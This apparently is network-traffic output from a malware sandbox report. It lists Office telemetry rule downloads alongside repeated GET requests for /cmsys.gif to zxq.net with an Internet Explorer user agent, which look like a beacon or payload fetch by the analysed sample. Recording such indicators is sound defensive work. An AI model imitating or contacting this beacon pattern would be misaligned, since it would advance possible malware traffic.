Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
